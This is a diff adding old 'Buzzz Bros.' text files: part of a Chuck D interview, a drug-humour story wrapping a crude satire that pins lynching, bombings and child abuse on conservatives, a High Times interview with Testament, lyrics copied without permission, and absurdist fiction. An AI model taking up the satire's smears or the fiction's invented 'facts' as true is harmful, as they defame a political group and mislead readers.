Enemy does best is manipulate the media by + making deliberately controversial statements. At the same time, + there's a risk of going too far: Your account of the Griff + contorversy in Welcome to the Terrordome started a new round of + anti-Semitism charges against the group. Would you give us an + explication of those lines? + +CHUCK D: A lot of times, I'll say something just to make people jump. Then + I can say, "See, I caught you offside." I plan the dangers of it. + This time, everyone was accusing me of bringing back Hitler's + reasons for killing the Jews, something that I never heard of in my + life. Now, out of one hundred lines in the song, they looked at + four. The lines go like this: "Crucifixion ain't no fiction." I + believe that Christ was a brother who got crucified. "So called - + chosen frozen." That was my only reference to the Jewish + community, which was appaled by the remarks in the Griff article. + "Frozen" means stopped in their tracks. And I said "so-called + chosen" because I don't think that one group of people are God's + chosen people. "Apology made to whoever pleases." That's what I + did in 1989 after all this happened. "Still they got me like + Jesus." My whole point is that the media is still taking me out. + + And the response was, "Well, I don't believe it." What's your + criteria for not believing me? A lot of people were mad because I + put Griff back in the group after taking him out. But then again, + it's my group, and this is the black community I live in. I could + live down the block from this man, but that's not white America's + concern. I said that this was wrong, and now let's move on. + + -=*/> Question # 16. <\*=- + +PLAYBOY: Once and for all, explian what seperates blacks and Jews today. + +CHUCK D: It's bullshit. No one in the black community gives a fuck about + Jewish people. The issue with black people is when do I get paid, + and why are these white motherfuckers fucking with me? Black + people do not seperate Jews from gentiles. Really I don't + understand it. + + -=*/> Question # 17. <\*=- + +PLAYBOY: You've said that you have no problem with whites; it's just "acting + Caucasian" that causes problems. Are you using the word Caucasian + in the same way some whites use the word nigger? + +CHUCK D: Historically, acting caucasian hasn't done one motherfucking + positive thing for black people. If whites want to do something + positive, they can realize that they're a small part of the human + family and not the big part of it that they think they are, trying + to convince the world that they are. + + -=*/> Question # 18. <\*=- + +PLAYBOY: Who can tell you you're full of shit? + +CHUCK D: [Laughs] Oh, shit, man, yeah! I got some parents who put me in my + place. Hank will put me in my place. That's what happened last + year. Hank said, Listen: Give a fuck. You're responsible for + thirty motherfuckers. Family and structure are important. + + -=*/> Question # 19. <\*=- + +PLAYBOY: What is the proper target for black rage? Are you advocating hate? + +CHUCK D: Hate is not a nice word. You got to hate your oppressor, but you + have to know who your oppressor is, and your oppressor is not an + individual. It's a collective train of thought; it's a collective + state of mind. You should hate that shit. But you shouldn't hate + a person. + + Although, if that person claims that he is at the steering + wheel of that force of oppression, then you make your move, you + know what I'm saying? [Laughs] + + -=*/> Question # 20. <\*=- + +PLAYBOY: Arsenio Hall has not yet asked you to come on his show. How come? + +CHUCK D: Arsenio has a lot of pressure on him. He's got to please + everybody, but at the same time, he has a black responsibility. He + shouldn't be so scared to put us on. Public Enemy has a larger + white audience than any of the rappers who have been on Arsenio's + show. + ___________________________________________ + + +* Havoc's Note: (From Question # 8.) + I was at that show in July of 1989. It was an outside show + at Farrakhan's Nation Center. Myself, and the two others + that I went with were the only whites there. I have to admit, + we were treated with more respect than I got at the Grateful + Dead show the same month. + + + + -=*/> Buzzz Bros. <\*=- + + To all racists, bigots, and those with hatred in your hearts: + Gas Face Given + + +___________________ + +Special Thanks to: + +Lorraine Olivia (The Playmate of the Month - who happens to be from Chicago) +___________________ + +(c) MCMXC -=/*> Buzzz Bros. <\*=- + diff --git a/textfiles.com/groups/BUZZ/bbros-05.txt b/textfiles.com/groups/BUZZ/bbros-05.txt new file mode 100644 index 00000000..00ae46bb --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-05.txt @@ -0,0 +1,195 @@ + + + *=-- --=* + { the } + -=/*> Buzzz Bros. <*/=- + + proudly present + _______ + + the + Adventures + of: + { SpAcEd-OuT Spliff } + *=-- --=* +____________________________ + +Wednesday, November 8th, 1989 +3:33 am +____________________________ + +We find our anti-hero 'Spaced-Out Spliff', spaz-dancing at the "Whiskey +A-Go-Go" with some pretty groovy chicks! + +SUDDENLY, his entire metabolism seems transported into an alien universe of +kaleidoscopic images and mystical vibes...... + +WHAT!? a mutant fascist pig threatens to bum out his trip! Acting quickly, +Spliff deftly carves an 'x' in the pig's forehead! + +whipping out his secret stash of underground comix....Spaced-Out Spliff +cleverly avoids a serious bring-down!! + +as Spliff reads on, he notices the bones in his hand start to protrude from his +body. He grabs his trusty stiletto and proceeds to + + \/\/\/\/\/\/\/\/\/\/\//\\//\/\/\\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \/\/\/ + WE INTERRUPT THIS FILE TO BRING YOU A REPORT ON THE LATEST + SCIENTIFIC DISCOVERY REGARDING ONE OF THE POT-SMOKERS BIGGEST ENEMIES + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ /\/\/\/\ + + The Life Cycle of The Conservative + + + + Introduction + + As long as there has been social progress, there has been a conservative +trying to undo it. In the first century A.D., the Roman Emperor Maximus +Tyrannus was known for his efforts to restore traditional values. He +reinstituted cannibalism, wife beating, and the crucifixion of disobedient +children. + + In the twentieth century, the conservative ideal of a strong military, +respect for authority and old fashioned morality was achieved in Nazi Germany. +This tradition has been continued in the United States by the Republican Party. +The Reagan administration has facilitated the rape of America by business, the +military, and moral zealots, and then persuaded the American public that rape +is actually a good thing. + +The conservative brain consists of: + +conformity sexual repression nostalgia paranoia +intolerance dishonesty racism greed + + + Infancy + + At this stage, the conservative is too young to help lynch blacks, burn +synagoges, or dump toxic waste into American rivers and lakes. However, the +toddlers soon begin mimicking their elders by giving their playmates plastic +bags to wear on their heads and taking the asphyxiated child's toys. + + + + Adolescence + + The adolescent conservative takes oe step further toward its responsibility +of harassing and maiming undesirables by experimenting on small animals or +weaker children. It is during this phase that he conservative experiences +its brief period of sexual activity, usually wih the same animals and children. + The Egocentric Baby Boomer + + + The Baby Boomer is an important newcomer to the right-wing ecosystem. By +gentrifying run-down neighborhoods, it drives out artists, poor minorities, +and other annoying liberal pests. The the Baby Boomer settles down to a life +of conspicuous consumption, filling its nests with pocket-sized cappuccino +makers, inflatable home exercise machines, and other gadgets. + + The mating cycle takes place in fern bars, where young unban professionals +sip white wine while displaying their designer plumage and discussing their +latest investments. When they aren't pursuing sex or consumer objects, +Egocentric Baby Boomers are ususally engaged in shallow New Age +self-enhancement gimmicks that fill the holes where their souls should be. + + + + The Narrow Minded Bible Thumper + + Bible Thumpers are amoung the most common of conservatives. They can often +be seen burning books, bombing abortion clinics, or entering homes across +America lecturing about the evils of heavy metal records, R-rated movies, and +malted beverages. + + Bible Thumpers are noticed for their fierce resistance to contemporary +trends such as scientific inquiry, civil rights, and dancing with members +of the opposite sex. + + Their range has been curtailed somewhat by an extreme aversion to sexual +intercourse. Ministers with TV shows are an exception, and can be aroused by +large cash contributions or church secretaries ready and willing to receive +God's love. + + + + The Fork Tongued Fascist + politicus scandalus + + The Fork-Tongued Fascist is a sly, secretive creature. It appears in public +only at rare press conferences to cover up the sale of missiles to terrorists, +or praise the bang-up job NASA did on the latest rocket launch. + + Every election year, Fasciststry to persuade voters that their get-tough +attitude will return us to glory days of old. If elected, they are then free to +exploit the poor, waste money on non-functional defense systems, and teach +school-children that the earth is only 2,000 years old and was created by God +over the course of a very hectic week. + + The Fork-Tongued Fascist is fond of preaching about the moral decay of our +society. To prove their point, Fascists like to bug opponents' campaign +headquarters or send weapons to help secret policemen terrorize bananna +plantations. When caught in a criminal act, a fork-tongued leader pretends to +have been betrayed by people dumb enough to have carried out his wishes. + + + The Right-Wing Loony + loco cultus + + Right-Wing Loonies gather in small flocks to rid America of the Anti-Christ +forces of Jews, Blacks, and sales clerks who refuse to honor Hitler Youth +discount coupons. The typical Loony is an acne-ridden geek or muscle-bound +halfwit who collects weapons and Nazi memorabilia as an alternative to normal +interaction with other human beings. + + When they aren't involved in overthrowing American society, Loonies are out +on street corners and in airports recruiting fellow social outcasts stupid +enough to believe their theories. Their ultimate goal is to start WW III and +establish and independant all-white nation where madmen can live with pride +and dignity. + + + + Old Age + +Respected for their senility, elder members of the species are entrusted with +advancing the intellectual climate of the species. This is done by reaching +out to like-minded groups in South Africa, the German Nazi Party, and remote +villages in Eastern Europe that still practice feudalism, trial by torture, +and lopping off women's feet to keep them in their homes. + + + + + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + WE NOW RETURN TO OUR FEATURE FILE...ALREADY IN PROGRESS + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + + +...throwing a Microwave-safe bowl full of Spaghettios into the microwave +(because saving the world makes a dude get the munchies), our hero sits +and ponders the days events. + + "Jeesh," says Spliff, "Mutant fascist pigs, gay narks from the north side, +and bogus shrooms! I think I'll just stick to alternate reality." + + + Join us again next week for another thrilling adventure with..... + + + SpAcEd-OuT Spliff + + + *=-- --=* + { -=/*> Buzzz Bros. <*\=- } + { MCMXC } + *=-- --=* + + Freedom Is A Road Seldom Traveled By The Multitude + +______________________ + +SpAcEd-OuT-Spliff +(c) MCMXC -=/*> Buzzz Bros. <*\=- +______________________ + diff --git a/textfiles.com/groups/BUZZ/bbros-06.txt b/textfiles.com/groups/BUZZ/bbros-06.txt new file mode 100644 index 00000000..4a375d74 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-06.txt @@ -0,0 +1,657 @@ + + *=-- --=* + { "I'm not gonna lie to your readers. I choose to smoke pot, } + and I like it." -- + { Chuck Billy, vocalist } + *=-- --=* + + *=-- --=* + { the } + -=/*> Buzzz Bros. <*\=- + present.. + + TESTAMENT - HIGH TIMES Interview (May, 1991) + + and + + TESTAMENT - 'Souls Of Black' (lyrics) + + text entry by Havoc + { } + *=-- --=* + + + + Combining the resounding of original hard-rock purveyors like Black +Sabbath, Jimi Hendrix, and Led Zeppelin with the urgent sonic velocity and +aggressive intent of early 80's hardcore a la Black Flag and Discharge, +modern-day speed-lace heavy metal is arguably the most important force in +music today. Spearheaded by the massive and seemingly-unlikely successes of +bands like Metallica, Slayer and Anthrax, a second generation of speed-metal +has evolved. Leading the way are Bay Area bad boys, Testament. + + Born out of teenage suburban boredom and a diligent fervor for playing +frenetically brain-jarring hyper-riffs, these five merchants of mosh (slang +for the often hazardous acts of stage diving and slam dancing by fans at +concerts), vocalist Chuck Billy, guitarists Alex Skolnick and Eric Peterson, +bassist Greg Christian and drummer Louie Clemente are soaring towards +legendary status. + + Over the course of their four mind-blistering vinyl/laser efforts +(1987's debut "The Legacy", followed by '88's "The New Order", '89's +Practice What You Preach", and last year's ground-breaking "Souls Of Black", +all released through Megaforce / Atlantic), Testament have built a reputation +or unleashing no-frills, uncompromising music. Last year saw them touring +European arenas (as part of the heralded "Clash Of The Titans" tour with +Slayer, Megadeth and Suicidal Tendencies), similar-sized American venues +(with Judas Priest), and most recently, in support of death-metal icons, +Slayer. The tried-and-true rock success formula of non-stop touring and +recording has paid off for the Testa-men, with significant radio and MTV +airplay for their single "Souls Of Black," lucrative merchandising and some +serious six-digit sales figures (over 400,000 units of Souls Of Black sold at +press time). They've made their mark as keepers of the speed-metal flame, +and don't plan to change anytime soon. + + "I think the main reson we've survived is that we do what we like, we +never sold out," offers Chuck Billy, the band's imposing vocalist. "Not to +sound corny or anything, but we've always played music from the heart. We're +fans of the music we play -- which is hard, fast speed-metal and thrash +music. It's all about playing music with lots of energy, and keeping it +challenging. As far as I'm concerned, that's what heavy music should be. We +don't wanna be like Metallica or Slayer -- but we're obviously fans of their +style from over the years, and they've been a major influence on us. +Testament is a heavy band, but we try to do something different from the +average thrash band." + + A major part of Testament's essence is their bond with their +somtimes-anarchic audience, and their fandom's extremely physical reaction to +the music -- namely, "the pit," where participants mosh and otherwise get +wild. "Yeah, we're into the action," Billy relates, "We get off and we get +excited when the crowd gets into it. The wilder they get out there, the more +hyped we get. A lot of bands may say something like that, but in our case, +we need it. That's a major part of what Testament's all about. If they're +not goin' crazy out there, I'm probably not going to be able to give the best +performance, if you know what I mean." + + "Now that we've mover up to a bigger level -- playing arenas and big +halls instead of the clubs -- we've been lucky that things haven't really +changed. Sure, there's a barrier between us and the audience now [arenas and +concert halls usually erect a wall between the stage and the front row, for +photographers and/or protection of the artists], but as long as we can see +the kids out there goin' wild, we're okay. We're glad that things are movin' +on for us real well, but we don't wanna lose sight of what got us there in +the first place. Our music's still heavy and in-your-face, and that's the +main thing. We're not gonna get weird about things now that we're becoming a +little more well-known. There's some people out there who think it's bad to +make it big -- some kids think you've sold-out just because you start sellin' +some records. And some bands think that you shouldn't go big-time. We're +not into that. We want our music to become as big and popular as possible -- +that's what it's all about. We don't wanna be an unsuccessful underground +band, we want people to remember Testament, and hopefully they'll be somehow +influenced by what we do and say." + + What Testament offer that's different from standard metal fare are +lyrics with significant meaning. While they're not exactly Jackson Browne or +U2 (many of the band's lyrics are steeped on the darker side of life and/or +fantasy characters), Testament have garnered considerable acclaim for songs +with social significance -- like 1989's "Greenhouse Effect" or "Perilous +Nation," which comment on various environmental / political issues. "We're +not here to change the world; we're just a band," Chuck says. "We're not a +political band, we don't wanna get ourselves stuck in that trap. But we do +observe a lot of things that go on in day-to-day life, and as a band, we +should be free to express ourselves as we see fit. As far as the kinda +political songs we have got, there's a lot of fucked up things going on out +there in the world, and we shouldn't not talk about them, just 'cause we're a +metal band. The greenhouse effect is a universal thing, even thrashers are +gonna have to deal with it. It's important for people to know what's going on +in the world, and music should be just another place for them to learn. But +like I said, that's only one small part of our music, and because of that, it +does sometimes get overexaggerated." + + "Also, when we play live, the songs are a little bit different and +faster, and it's pretty much there for the kids to mosh to, and let off some +aggression. So, we don't really expect people to get the words we're sayin +in our songs when it's live at a club or theater or somethin'. But when the +fan goes home, and listens to the record and read the lyric sheet, that's +where we're gonna make some impact. But we're not preaching either. We +don't offer any solutions to these things -- after all, we don't have the +answers ourselves. We do pose the questions, so the kids can go out and +decide for themselves what should be done to help -- if they want to." + + To the casual outside obsever, a heavy-metal concert can be a violent +experience. Metal fans ain't exactly angels, to say the least, and their +collective reactions to their fave acts is usually rabid and out-of-control. +Frontman Billy explains this unique artist-fan relationship: "Our music, and +[that of] bands like us, gives the fans a chance to release some of their +built-up aggression or frustration. When they come to a Testament show, they +can go off and get really into it. Our music is heavy and we use it to let +off some steam too. As a fan, I always liked metal because it was powerful +and heavy, and that's what we try to do. But people have got to realize that +while things get really crazy sometimes, it's all in fun. We're not trying +to get people to kill themselves. We don't write songs that say 'Kill your +mom.' We're not into that. The only times we've had any real problems with +real violence is when gang members would come to a show and try to start +fights -- that happened a few years ago when we played with Suicidal +Tendencies -- and that was pretty much the only time. Those people should +realize that if they wanna fight, they should stay away from the shows and go +fight in the street. But yeah, luckily, we haven't had many problems with +bad violence at our gigs, most people don't take it to that extreme. There's +violence at our concerts, but it's friendly, and the fans know that. That's +why you haven't heard of anyone getting killed at one of our shows, or +anything like that." + + Another thing which seperates Testament from the mindless metal millions +is that they're not one of those groups who are the real sell-outs, doing +"Just Say No" propaganda/public service announcements for radio and +television while privately feeding costly cocaine/heroin habits. Testament +are proud weed smokers, who fight for their right to party. "It burns me up. + I don't do coke or crank or any other shit like that -- I smoke pot. It's +just a plant, and I get shit for that. They say drugs are drugs, which is +bullshit. My manager always gives me shit whenever I say anything about this +subject, but I'm just telling you the truth. I'm not gonna sit here and say +I'm an angel when I'm not. I'm not gonna lie to the kids, and I'm not gonna +lie to your readers. I choose to smoke pot, and I like it. I'm not tellin' +people that they should smoke pot too -- that would be wrong and +hyppocritical -- but I do support people's freedom to do what they choose. +The way things are now in our society, you can get arrested for smoking a +plant, and that seems ridiculous to me." + + Beyond Neanderthal metal and bullshit music-biz posturing, Testament are +a band that simply makes hard rock that matters -- incorporating +politically-conscious lyrics with fantasy metal tales, and mixing speed-laced +power chords with memorable harmonies. Testament have stuck to their guns +and are reaping the rewards of hard work. + + All this and mosh music too. +____________________________ + +HIGH TIMES May, 1991 - Steven Bush +____________________________ + + + + + -=*/> TESTAMENT - Souls Of Black (lyrics) <\*=- + + + + 1. Beginning Of The End + -------------------- + Music: Peterson + + + 2. Face In The Sky + --------------- + Lyrics: Billy + Music: Peterson, Skolnick + + + Shadows glow from the full moonlight + Hear clouds cry, it's so insane + Souls hold on to the key of life + See how it's bleeding from the pain + + Chorus: + ------- + When will they open up their eyes + Stop to face our demise + It's live or die + Who am I? + Face in the Sky + + Walk with me, my friend + to a darkened place + Welcome down to the abyss + Caught between two worlds + with no advocate + The legions' army + Hold on to your fate + + Chorus + + Screams from the night + seem to intensify + as the air shifts silent through + ghouls crowded in the clouds + on a misty night + guarding secrets + man has brought to you + + Chorus + + + 3. Falling Fast + ------------ + Lyrics: Billy + Music: Peterson, Clemente + + + Locked in a darkened world + Made to never last + That's where the dreams you seek + are like stories from the past + Sweet infant child's born + Sweet mother of the womb + Hope it is over soon + Not much more I can take + + Help me lord + I'm falling fast + Bring me Back + + Nerves slip away from + within your conscious mind + Translucent hopes are now + nothing but dismal lies + You lived your life so down + to the bitter end + Better think it over now + You life has just begun + + Help me lord + I'm falling fast + Bring me back + From suicide + + Just show me life is how + And not a bitter war + The odds in favor now + It's hard to live and learn + Silence the sorrow + and don't let it slip away + Think of tomorrow + as the future of today + + Help me lord + I'm falling fast + Bring me back + from suicide + I'm falling fast + + Locked in a darkened world + Made to never last + That's where the draems you seek + are like storie's from the past + Sweet infant child's born + to the mother of the Womb + Hope it is over soon + not much more I can take + + Chorus + + + 4. Souls of Black + -------------- + Lyrics: Billy + Music: Peterson, Skolnick, Clemente + + + Can't you see + that in the world we live in + political lies + are just corporate decisions + They'll take away + all the hopes, not their promises + They'll put an end to all this + land of the living + + Chorus: + ------- + Look at the lost souls + They seem so black + Look at the lost souls + Souls of black + + The get control + of the heart of a nation + Their social bribes + seem so graciously + as time goes by + 'Cause time as you can see + will slowly die for you and me + + Chorus + + So put an end + to this idolization + Antagonizing so commonly + Open your eyes + 'Cause the lie's there so plain to see + Life goes on + There's no gaurantees + + Chorus + + They're bleeding so black + + + 5. Absence Of Light + ---------------- + Lyrics: Billy, Skolnick + Music: Peterson, Billy + + + Life, as we know, + is full of gloom + Oppress the massess + We'll lead to our doom + We want the right + to live or die + Can't take away + What we feel inside + + Like empty shadows + afflict our brains + Envision our dreams + just to ease the pain + There's more to life + than to satisfy + I ask myself + for the reason why. + + Chorus: + ------- + If it were my way + I'd deliver us from this hell + If it were my way. + + If ever there comes a day + Renovations blown away. + Is there no end + to this endless war + The fear of man + is now what's in store + We look at life as a memory + Long live the dreams + That they took from me + + Chorus + + + 6. Love To Hate + ------------ + Lyrics: Peterson, Clemente & Billy + Music: Peterson, Skolnick + + + Hail to the new leader now + Ruler of this land, + with plans that follow + to demonstrate + Fear the blackened band + So horrid + and deathly true + Dishonest and powermad + Unspoken, sealed fate + Bursting so desolate + + Chorus + ------ + His love to hate + He'll murder souls like you and me + But along the way + He'll have you to dwell + in his own hell + + Clear the streets + See them marching + while columns take a stand + Time provoked, their mirrors of hatred + with dark uncanny plans + to take out + and follow through + Just following their orders + with death rates + and death's tolll + Those poor unfortunate souls + + Chorus + + Twisting and turning + through the mazes in your head + But in a time like this + you're better off dead + The time has come now + Put up or shut down + The feelings that you have + were lost and never found + + Chorus + + + 7. Malpractice + ----------- + Lyrics: Skolnick, Billy + Music: Skolnick, Peterson + + + We all will go and stay sometime + Soon to be a victim of a crime + Loss of blood and death is near + Take a number, can you wait right here + + Chorus: + ------- + Check in - to the place + Reduce you life into disgrace + Isn't there some kind + of better way + + When it's time to operate + fatalistic figures hold your fate + Just relax you'll feel no pain + Hope they put you in the right domain + + Patients helpless to defy + Negligence is why + + Chorus + + Within the laws + they'll rip you off + then write you off + Malpractice! + And in the end + they'll let you in + Please come again + Malpractice! + + Suffer until you get well + Bleak exsistence like a prison cell + If you find your life is lost + Dedicate the world to pay the cost + + Patients helpless to defy + Negligence is why + + Chorus + + Within the laws + they'll rip you off + then write you off + Malpractice! + And in the end + they'll let you in + Please come again + Malpractice! + + + 8. One Man's Fate + -------------- + Lyrics: Billy + Music: Peterson, clemente + + + Time is nothing but life's decay + Pitch your reverend path + This is the path you paved + What you will find + is life's only way + There's no looking back + There must be a better way + + Lightning skies + Prayers from an open grave + A dead man's day + + Black skies fade to shadow grey + The darkness is so deep + Prayers for the light of day + What you will find + is life's only way + There's no looking back + back to a better way + + Lightning skies + Prayers from an open grave + A dead man's eyes + + Must be a dead man's day + that leads to one man's fate + There ain't no better way to die + + Fate, there's no compromise + Hate leads to suicide + Trapped in a crystal haze + Hail to a dead man's day + + Time is but a passageway + trying to believe + your life was sanity + A matter of time + is all that you need + Life's not coming back, + back to those better days + + Lightning skies + Prayers from an open grave + A dead man's eyes + Must be a dead man's day + + + 9. The Legacy + ---------- + Lyrics: Skolnick, Billy, Peterson + Music: Peterson, Clemente, Skolnick + + + We're gonna take you back + through the pages of the past + Just another lonely boy + + I could laugh and play + and live in any other way + Then the devil took my soul + + The fortune and the fame + I knew I was not the same + and I know I'd never return + + Looking at the sky + I knew I would never die + And forever shining through + + Wish the sky would say + that blue would turn to grey + and I know I'd be there + + Chorus: + ------- + Life was like a fantasy + taken by reality + Does anyone remember me + + Flashes of the sky + I knew I was here to stay + But no one stays the same + + Turn the pages back in time + through the chapters in my mind + Life's too short to leave behind + It's too late now + + Chorus + + Flashes of the day + I knew I was here to stay + But no one + knows my name + + + 10. Seven Days Of May + ----------------- + Lyrics: Skolnick, Billy + Music: Peterson, Skolnick + + + Put your life on the line + To hesitate is a waste of time + No giving in to repent + unto the system of the government + + It's called the Peoples Republic here + The propaganda so sincere + Oh, what a joke and a blatant lie + from criminals ranking high + + Chorus: + ------- + Born a political prisoner + Raised outside the law + I'm gonna keep on fighting + until I die for the cause + + Put an end to hipocracy + Lead the way to Democracy + No longer will we play the fool + to brutalized military rule + They started forty years ago + We never could say yes or no + Million souls made our voice + We want the right to make a choice + + Chorus + + Freedom, freedom calling + out from the pain + Freedom, freedom calling + seven days in May + + They tried to show a peaceful path + then it turned into a blood bath + In the Square they plan the game + That's when the tanks of the army came. + + They called the murders minimal + Described their victims as criminals + Dead souls like you and me + who only wanted free society + + Chorus + + Freedom, freedom calling + out from the pain + Freedom, freedom calling + seven days in May + + ----------------------------- + + All melodies by Chuck Billy + All arrangements by Testament + + All compositions (c) 1990 COTLOD Music (adm. by + Zomba Enterprises Inc.) Zomba Enterprises Inc. (ASCAP) + All Rights Reserved. Used without permission. + + ____________________________ + + Special Thanks to: + ____________________________ + + Kilbourn + Alannah and Vanessa at Kroozin' Music + HIGH TIMES + +(c) MCMXCI -=*/> Buzzz Bros. <\*=- + + \ No newline at end of file diff --git a/textfiles.com/groups/BUZZ/bbros-07.txt b/textfiles.com/groups/BUZZ/bbros-07.txt new file mode 100644 index 00000000..8f89cce8 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-07.txt @@ -0,0 +1,220 @@ + + + +*=-- --=* +{ The file you are about to read is ficticious. Any resemblance } + to actual people and/or events must mean that you shouldn't have taken +{ that last dose of low-grade acid. } +*=-- --=* + + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present + ------- + When Venus Crosses Mars + + { Fiction by Havoc } + *=-- --=* + + + + ...after he swallowed his last bite of his Double Cheeseburger (from White +Castle, because he liked the concept of the holes in the meat), I finally +mustered up enough nerve to ask him.... + + "If a chicken and a half could lay an egg and a half in + a day and a half, how long would it take a grasshopper + with a wooden leg to kick all the seeds out of a dill + pickle?" + + He looked at me, and I could tell his eyes could see right through +me...right into my soul, right inside my guts; like he was searching for the +meaning of life (or at least for any undigested food...I could tell he was +still hungry). He sighed. He closed his eyes, opened his mouth and just +sighed. What was he thinking? Did he even care? I needed to know! More +than anything I just need to know that. It had been annoying me like an +infected sore that wouldn't heal. Finally, after what seemed like the same +amount of time it takes for a cum shot in a lame porno, he broke down and spoke +to me. + + "It doesn't matter....I'm an atheist." He said. + + I smiled...and it felt good. It had been almost two (2) years since I had +felt good, and that was the time I saw Wayne fall of the garage roof with the +pipe wrench. I told him that leverage was the key, but he still wouldn't hold +on to the satellite dish. + + "Are you going to watch Geraldo tomorrow?" I asked. + + "If he asks me too," He replied. "I'm more into Sally + Jesse Raphael...see speaks from the heart." + + "I need a Diet Barq's...are you lonely still?" I needed to know this. + + "Lions are growing in the desert like yellow roses + blowing in the cool summer breeze." + + His last reply made me quiver. I knew he was a great person, but never +could I have imagined he liked Barq's root beer too. His poetic imagery was +not to be equaled by the way he wore his Big Yank jeans. + + I envisioned him driving in a Jeep down an open mountian road. His +speedometer reading ninety-six (96) kph, and his 8-track blasting out Meat +Loaf's Bat Out of Hell. As the fringe from his vinyl "CHiPS Offical Junior +Police" jacket blew in the wind, a beautiful red-head drives up next to him in +a seventy-seven ('77) Ford Pinto. + + As cool and as deft as any woman should be, she leaned over and rolled down +her window with both hands...because it gets stuck half-way down. Tiffany's "I +Think We're Alone Now" can be heard ever so faintly in the background. + + "Excuse me..." The words rolled off her tongue. + "Are those Big Yank jeans you are wearing?" + + She ends her question with a simple look. Although simple...it was +subliminally drenched with sex. Sex and Vienna Beef hot dogs...she was hungry +too. The back seat of her car revealed numerous Mello Yello cans, and a mint +copy of X-MEN number one seventy-two (#172), the one where Storm gets a +mohawk...I think. + + "Why yes.....yes they are" He answered. + + He knew she was as cool as he. He knew that she was impressed. He knew +that he was damn lucky for going to Sears to buy pencil top erasers shaped like +the General Lee from the Duke's of Hazzard....and running across those jeans. +He knew that if he didn't get the Jeep home before seven o'clock (7:00), his +sister ws going to take back her "Young Miss" magazines with the complete +Susanna Hoffs autobiograpy. + + "I thought so." Was all she said....nothing more. + + Simple and precise. Elegant and beautiful. She understood him. She +understood the bond they had. She understood that if she didn't see a doctor +soon, her yeast infection would be running rampant like the mobs in Detroit on +Halloween. She drives away. The first and last time they would meet. The end +and the beginning in one quick instant, like the way a juice box has the straw +right on the back of the package. With her Pinto reaching speeds only topped +by a Renault Le Car, she is gone. + + "What do those white marks on the side of the label + of a Budweiser bottle mean?" He interrupted my vision. + + "It's a conspiracy. They collaborated with Dorito's." + I replied. + + That was another of my theories. The makers of Dorito's knew that Bud +drinkers always wondered about that. Knowing that the thought process also +triggers the hunger of beer drinkers, the white marks on the side of the label +of Bud bottles are subliminally encoded to read: " Jay Leno is God, worship no +others." Because the unconscious mind is truly brilliant, it realizes the +connection between tortilla chips, and The Tonight Show guest host. + + "The Beastie Boys second album flopped. I feel this + is the sole reason the Russians shot down Korean Air + Lines flight 107 (KA-107)." He knew that I knew that. + + It was always my opinion that if Adrock, MCA and Mike D. would have been +more cautious with their sophomoric release, flight KA-107 would never have +been shot down that day. The flight recorder on board was played back, +revealing miscellanious ramblings. They include: + + _ _ + | | "Hey Ladies sucks!" | | + |A| "They could never top Paul Revere.." |A| + |C| "Why did they leave Def Jam??" |C| + |T| "...watch the Russian air space dude.." |T| + |U| "And what about MCA's beard...looks shitty." |U| + |A| "....<< KA-107 this is control, please |A| + |L| monitor altitude and be aware that you |L| + | | are straying into unfriendly | | + |R| air space >>....." |R| + |E| "...BRASS MONKEY...THAT FUNKY MONKEY!!!" |E| + |C| "...dude...Dude..." |C| + |O| "What the......ahhh shit Bill...I told |O| + |R| you to be careful with my CD's bro!" |R| + |D| "...<< KA-107 BANK LEFT!! BANK LEFT!! >>" |D| + |I| "Ahh, Bill?" |I| + |N| "What up dude?" |N| + |G| "You see that.....?" |G| + |_| "Shit..........." |_| + + Proof positive that the Beastie Boys are soley responsible for the two +hundred fifty-six (256) people that died that day. It is my opinion that MCA +and Mike D. be brought to trial for these atrocities. Adrock's OK, becuse he +made up for it in a cool movie about a troubled teen, called "Lost Angels". + + "If hotels don't have a thirteenth (13th) floor, why + is there a room six six six (666)?" + Another imponderable leaps from his lips. + + "Six plus six plus six equals eighteen (6+6+6=18). If you add the + number of feet between the bed and TV, which is five (5), + and subtract that from eighteen (18), it equals + thirteen (13)." + + Another theory of mine is that hotels try to scam the general public with +the abolishment of the thirteenth (13th) floor. In reality, room six six six +(666) >IS< the thirteenth (13th) floor. Seeing that the people who would not +want a thirteenth (13th) floor, would also not want a room six six six (666). +Archetects, in conjunction with hotel general managers, have secretly built an +entire floor in one room.....kind of like the Tardis effect if you have ever +watched Dr. Who. When a guest is checked in, the instant a key is placed in +his hand he is subliminally quizzed on his knowledge of important facts. These +facts include: Meat Sauce contains no meat. Pop Tarts are used most often by +the government to increase the dancing ability of M.C. Hammer; which increases +race relations. Post-It notes were not meant to be removeable - in actuality +they were a prototype for the heat resistant tiles on the space shuttle. The +Nike "Swoosh" design actually has a biblical relationship...because Jesus +himself was known to have this same mark on the outside of his left foot. + + If the guest then proceeds to answer these questions correctly, he/she is +given access to the room/floor. Miscellanious activities abound here, most of +which reflect the same things your mother told you not to do. Such as: running +with scissors, chewing gum in bed, making funny faces until they permanently +stick to your face, wearing plaid pants with striped shirts, and leaving the +toilet seat up after you go. + + "I am a leper messiah. I have befriended creeping + death, but yet the weak are ripped and torn away. + I have lived my entire life trapped under ice. + I am nothing but a harvester of sorrow, and there + is never justice for all. We are controlled + by nothing more than a master of puppets, who believes + only in battery and the thing that should not be. + I was born for dying." + + His poetic lust shining even more. + + "The alter of sacrifice has been nothing but a large + war ensemble. A dead skin mask confronts us, but still + we are haunting the chapel. Chemical warfare abounds... + and will soon reign in blood. Soon you shall meet the + undead - and be blissful with the Angel of Death. It is + an epidemic, a permanent desease. We are forced to fight + behind the crooked cross - moving on and on south of Heaven" + + My frail attempt at a reply cannot equal his. + + It had been hours, neigh, days since our initial contact. Although now I +could see right through his initial intent of demoralizing me, I still had a +thirst that only he could quench. I needed to know the true story behind Tucan +Sam and the Fruit Loops. I had to be told why the Kennedy's had Marilyn Monroe +murdered. It was imperative to know why Gorbechov (sp) had that mark tattooed +on his head. He was a mirror image of me. A complete reflection of what I +was. There was nothing that he didn't know about me, he knows more about me +than I know about myself. 